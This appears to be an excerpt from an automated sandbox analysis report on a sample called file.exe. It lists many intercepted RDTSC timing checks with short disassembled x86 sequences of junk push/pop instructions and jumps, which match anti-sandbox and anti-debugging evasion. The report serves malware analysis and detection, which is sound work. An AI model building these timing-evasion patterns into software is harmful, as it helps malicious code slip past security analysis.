Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375B04 second address: 375B0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 375B0A second address: 375B5F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBFE93CDB76h 0x00000008 je 00007FBFE93CDB76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 jp 00007FBFE93CDB8Bh 0x00000016 pop edx 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FBFE93CDB82h 0x0000001f pushad 0x00000020 jnc 00007FBFE93CDB76h 0x00000026 jne 00007FBFE93CDB76h 0x0000002c jc 00007FBFE93CDB76h 0x00000032 popad 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376560 second address: 376566 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376566 second address: 376570 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push ebx 0x00000006 push eax 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 376570 second address: 37658F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FBFE8B00F08h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37658F second address: 3765BA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007FBFE93CDB83h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA67B second address: 2DA685 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBFE8B00EF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA685 second address: 2DA694 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push esi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop ebx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA694 second address: 2DA69A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA69A second address: 2DA6A4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBFE93CDB76h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA6A4 second address: 2DA6B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jp 00007FBFE8B00EFCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2DA6B2 second address: 2DA6D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jbe 00007FBFE93CDB76h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d jmp 00007FBFE93CDB80h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379163 second address: 379169 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379169 second address: 379179 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007FBFE93CDB76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 379179 second address: 37917D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3792E1 second address: 3792E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3792E7 second address: 3792EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3792EF second address: 3792FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FBFE93CDB7Ah 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3792FE second address: 379303 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 37944E second address: 379460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 jne 00007FBFE93CDB76h 0x0000000c popad 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381E74 second address: 381E7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBFE8B00EF6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381E7E second address: 381E8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB7Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3804A8 second address: 3804AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3804AC second address: 3804B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3804B6 second address: 3804BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380751 second address: 380767 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB82h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3812FD second address: 38131A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007FBFE8B00F06h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381832 second address: 381837 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381837 second address: 38183D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38183D second address: 381859 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE93CDB86h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 381B80 second address: 381B85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385EF1 second address: 385EFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pushad 0x0000000a popad 0x0000000b pushad 0x0000000c popad 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384FC2 second address: 384FC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384FC6 second address: 384FD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384FD0 second address: 384FD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 384FD4 second address: 384FE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FBFE93CDB76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3855F7 second address: 38562E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007FBFE8B00F04h 0x0000000e pop ecx 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnc 00007FBFE8B00F02h 0x00000019 pushad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38562E second address: 38565A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE93CDB82h 0x00000009 jmp 00007FBFE93CDB85h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385956 second address: 38595C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385AAA second address: 385AAF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385AAF second address: 385AB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385AB5 second address: 385AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3926C2 second address: 3926C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3926C8 second address: 3926ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push edx 0x0000000b jne 00007FBFE93CDB76h 0x00000011 push eax 0x00000012 pop eax 0x00000013 pop edx 0x00000014 push edi 0x00000015 jmp 00007FBFE93CDB7Dh 0x0000001a push eax 0x0000001b pop eax 0x0000001c pop edi 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392D14 second address: 392D49 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00EFAh 0x00000007 jc 00007FBFE8B00F02h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE8B00F02h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392D49 second address: 392D4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39329C second address: 3932AE instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007FBFE8B00EF6h 0x00000009 pop ebx 0x0000000a jl 00007FBFE8B00EFCh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 393438 second address: 39345F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBFE93CDB7Eh 0x00000009 jmp 00007FBFE93CDB85h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394380 second address: 39438C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39438C second address: 394391 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 394391 second address: 394396 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392340 second address: 392344 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 392344 second address: 39234D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399CE4 second address: 399CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jmp 00007FBFE93CDB7Ah 0x0000000a pop edi 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399CFA second address: 399D1B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE8B00F07h 0x00000007 jno 00007FBFE8B00EF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 399D1B second address: 399D31 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FBFE93CDB88h 0x00000008 jmp 00007FBFE93CDB7Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39B89A second address: 39B89E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 39B89E second address: 39B8C7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBFE93CDB76h 0x00000008 jc 00007FBFE93CDB76h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FBFE93CDB85h 0x00000017 push edx 0x00000018 pop edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AA22E second address: 3AA251 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBFE8B00EF6h 0x00000008 jnc 00007FBFE8B00EF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pushad 0x00000011 jmp 00007FBFE8B00EFEh 0x00000016 push esi 0x00000017 pop esi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADE30 second address: 3ADE34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3ADE34 second address: 3ADE86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FBFE8B00EF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jc 00007FBFE8B00EF6h 0x00000013 jp 00007FBFE8B00EF6h 0x00000019 jmp 00007FBFE8B00F04h 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 ja 00007FBFE8B00EF6h 0x00000029 jmp 00007FBFE8B00F09h 0x0000002e popad 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD894 second address: 3AD8A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jl 00007FBFE93CDB7Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AD8A1 second address: 3AD8A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 2CD09C second address: 2CD0B4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FBFE93CDB80h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4BCD second address: 3B4BD4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4BD4 second address: 3B4BE3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jo 00007FBFE93CDB76h 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7282 second address: 3C7288 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C7288 second address: 3C728E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C5CC8 second address: 3C5CDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 jng 00007FBFE8B00EFCh 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C5E6F second address: 3C5EB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE93CDB86h 0x00000009 push edx 0x0000000a pop edx 0x0000000b jnl 00007FBFE93CDB76h 0x00000011 popad 0x00000012 jg 00007FBFE93CDB7Ch 0x00000018 js 00007FBFE93CDB76h 0x0000001e popad 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FBFE93CDB83h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C5EB4 second address: 3C5EBC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C619E second address: 3C61AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 js 00007FBFE93CDB76h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61AA second address: 3C61CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jmp 00007FBFE8B00F00h 0x0000000c pop edx 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61CA second address: 3C61CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61CE second address: 3C61D4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61D4 second address: 3C61DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61DA second address: 3C61DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C61DE second address: 3C6208 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FBFE93CDB76h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FBFE93CDB84h 0x00000011 jmp 00007FBFE93CDB7Ah 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C647A second address: 3C6480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6480 second address: 3C6484 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6484 second address: 3C6497 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00EFDh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6497 second address: 3C64AC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBFE93CDB80h 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C64AC second address: 3C64CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBFE8B00EFAh 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 pop edx 0x00000012 jne 00007FBFE8B00EFCh 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C661B second address: 3C661F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C661F second address: 3C6641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBFE8B00F09h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3C6641 second address: 3C664B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBFE93CDB7Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D3191 second address: 3D319B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3D319B second address: 3D319F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3E2264 second address: 3E2268 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3DC4FF second address: 3DC50B instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBFE93CDB7Eh 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF140 second address: 3EF144 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3EF144 second address: 3EF14A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40852E second address: 408532 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408532 second address: 408552 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pushad 0x0000000b jmp 00007FBFE93CDB83h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40868F second address: 4086C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FBFE8B00EF6h 0x0000000a pop edx 0x0000000b jnl 00007FBFE8B00F0Ch 0x00000011 jp 00007FBFE8B00EF8h 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c pushad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40898E second address: 408998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FBFE93CDB76h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408998 second address: 40899C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 40899C second address: 4089A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 408E59 second address: 408E7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 jnp 00007FBFE8B00F02h 0x0000000b jmp 00007FBFE8B00EFCh 0x00000010 js 00007FBFE8B00F02h 0x00000016 jbe 00007FBFE8B00EF6h 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
